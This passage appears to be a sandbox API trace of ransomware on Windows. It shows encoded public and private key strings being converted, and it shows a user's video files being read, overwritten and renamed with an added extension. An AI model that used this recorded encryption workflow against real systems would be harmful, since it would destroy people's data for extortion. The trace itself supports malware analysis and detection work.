wp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0087.538] GetCurrentThreadId () returned 0xa30 [0087.538] GetCurrentThreadId () returned 0xa30 [0087.538] GetCurrentThreadId () returned 0xa30 [0087.538] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.538] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.539] GetCurrentThreadId () returned 0xa30 [0087.539] GetCurrentThreadId () returned 0xa30 [0087.539] GetCurrentThreadId () returned 0xa30 [0087.539] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\jRDJUl7IMjUxPV.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\jrdjul7imjuxpv.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.539] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0087.539] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.539] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x1507c [0087.539] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.539] ReadFile (in: hFile=0x11c, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x1507c, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x1507c, lpOverlapped=0x0) returned 1 [0087.542] CloseHandle (hObject=0x11c) returned 1 [0087.543] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\jRDJUl7IMjUxPV.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\jrdjul7imjuxpv.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.545] WriteFile (in: hFile=0x11c, lpBuffer=0x1f15f70*, nNumberOfBytesToWrite=0x1507c, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f15f70*, lpNumberOfBytesWritten=0x18f6ac*=0x1507c, lpOverlapped=0x0) returned 1 [0087.548] CloseHandle (hObject=0x11c) returned 1 [0087.566] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\jRDJUl7IMjUxPV.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\jrdjul7imjuxpv.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\jRDJUl7IMjUxPV.mkv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\jrdjul7imjuxpv.mkv.zv7un")) returned 1 [0087.567] GetCurrentThreadId () returned 0xa30 [0087.567] GetCurrentThreadId () returned 0xa30 [0087.568] GetCurrentThreadId () returned 0xa30 [0087.568] GetCurrentThreadId () returned 0xa30 [0087.568] GetCurrentThreadId () returned 0xa30 [0087.568] GetCurrentThreadId () returned 0xa30 [0087.568] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7060d50, ftCreationTime.dwHighDateTime=0x1d5dd83, ftLastAccessTime.dwLowDateTime=0x52f816c0, ftLastAccessTime.dwHighDateTime=0x1d5dfdb, ftLastWriteTime.dwLowDateTime=0x52f816c0, ftLastWriteTime.dwHighDateTime=0x1d5dfdb, nFileSizeHigh=0x0, nFileSizeLow=0x13420, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="kXr6JNMUXANI3I Es.mp4", cAlternateFileName="KXR6JN~1.MP4")) returned 1 [0087.568] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.568] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.568] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\kXr6JNMUXANI3I Es.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\kxr6jnmuxani3i es.mp4"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7060d50, ftCreationTime.dwHighDateTime=0x1d5dd83, ftLastAccessTime.dwLowDateTime=0x52f816c0, ftLastAccessTime.dwHighDateTime=0x1d5dfdb, ftLastWriteTime.dwLowDateTime=0x52f816c0, ftLastWriteTime.dwHighDateTime=0x1d5dfdb, nFileSizeHigh=0x0, nFileSizeLow=0x13420)) returned 1 [0087.568] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\kXr6JNMUXANI3I Es.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\kxr6jnmuxani3i es.mp4")) returned 0x20 [0087.568] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\kXr6JNMUXANI3I Es.mp4", dwFileAttributes=0x80) returned 1 [0087.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0087.572] GetCurrentThreadId () returned 0xa30 [0087.572] GetCurrentThreadId () returned 0xa30 [0087.572] GetCurrentThreadId () returned 0xa30 [0087.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.573] GetCurrentThreadId () returned 0xa30 [0087.573] GetCurrentThreadId () returned 0xa30 [0087.573] GetCurrentThreadId () returned 0xa30 [0087.573] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\kXr6JNMUXANI3I 